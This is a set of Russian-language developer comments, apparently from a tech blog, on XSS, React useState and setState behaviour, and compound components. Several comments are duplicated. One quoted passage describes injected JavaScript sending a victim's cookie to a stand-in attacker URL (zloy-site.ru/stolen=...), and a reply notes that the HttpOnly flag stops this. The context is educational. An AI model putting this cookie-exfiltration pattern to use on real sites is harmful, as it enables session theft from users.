Ну да, вы правы, это скорее заслуга не разработчиков браузеров, а разработчиков спецификации. Но как я понимаю этот пункт с поведением тега script при добавлении его через innerHTML в спецификации тоже не сразу появился, а только с выпуском HTML5.
Спасибо, хороший поинт с нэймингом, поправлю обязательно. И добавлю про Self XSS, совсем про него забыл, хоть это и сложно считать настоящей XSS уязвимостью, но знать полезно.
Теперь допустим, что злоумышленнику удастся внедрить JavaScript-код на страницу веб-приложения. У любого пользователя, который теперь зайдет на эту страницу, будет исполняться в браузере JavaScript-код. Он будет читать значение cookie этого пользователя (теперь уже жертвы). Осталось только передать это значение злоумышленнику — и дело сделано. Но как передать значение, ведь вредоносный код исполняется в браузере жертвы?
Все довольно просто. Этот же JavaScript-код может создать AJAX-запрос на удаленный сервер. Например, на вот такой URL: www.zloy-site.ru/stolen={значение_cookie_жертвы}
Тут наверно стоит уточнить, что это возможно, только если авторизационная кука не имеет флага HttpOnly, если установить такой флаг, то доступа к куке из js не будет и соответственно вредоносный скрипт не сможет добавить ее к своему вредоносному запросу.
По всем пунктам согласен, спасибо! Кроме последнего, если бы setState был синхронный, то он вызывался внутри цикла, синхронно менял бы состояние и все внутри одной итерации цикла, потом вызывался заново и в состоянии было бы новое значение. Я так понял по формулировки вы имеете ввиду, что в замыкание проблема, но тут как раз наоборот, замыкание может решить проблему тк мы по сути создаем каждый раз новую функцию и замыкаем в ней текущее значение.
Ну да, вы правы, это скорее заслуга не разработчиков браузеров, а разработчиков спецификации. Но как я понимаю этот пункт с поведением тега script при добавлении его через innerHTML в спецификации тоже не сразу появился, а только с выпуском HTML5.
Спасибо, хороший поинт с нэймингом, поправлю обязательно. И добавлю про Self XSS, совсем про него забыл, хоть это и сложно считать настоящей XSS уязвимостью, но знать полезно.
согласен
Имеется ввиду вот такая конструкция:
`const [four] = useState(twoSquared());`
то есть twoSquared() будет вызываться на каждый ререндер и если хочется этого избежать, то можно обернуть вызов функции в колбэк:
`const [nine] = useState(() => twoSquared());`
и в татом случае twoSquared() вызовится всего один раз
Тут наверно стоит уточнить, что это возможно, только если авторизационная кука не имеет флага HttpOnly, если установить такой флаг, то доступа к куке из js не будет и соответственно вредоносный скрипт не сможет добавить ее к своему вредоносному запросу.
Блин, кажется я понял о чем ты, ты прав, спасибо!
По всем пунктам согласен, спасибо! Кроме последнего, если бы setState был синхронный, то он вызывался внутри цикла, синхронно менял бы состояние и все внутри одной итерации цикла, потом вызывался заново и в состоянии было бы новое значение. Я так понял по формулировки вы имеете ввиду, что в замыкание проблема, но тут как раз наоборот, замыкание может решить проблему тк мы по сути создаем каждый раз новую функцию и замыкаем в ней текущее значение.
Да, по сути так. А ты потом просто выбираешь, какие части этого компонента использовать в разных случаях.
Имеешь ввиду, обязательно ли писать вот так
<Accordion.Item>? Нет, не обязательно, во первых ты можешь сделать деструктуризацию:const { Item } = AccordionНа самом деле можно даже не делать
Itemкак свойствоAccordion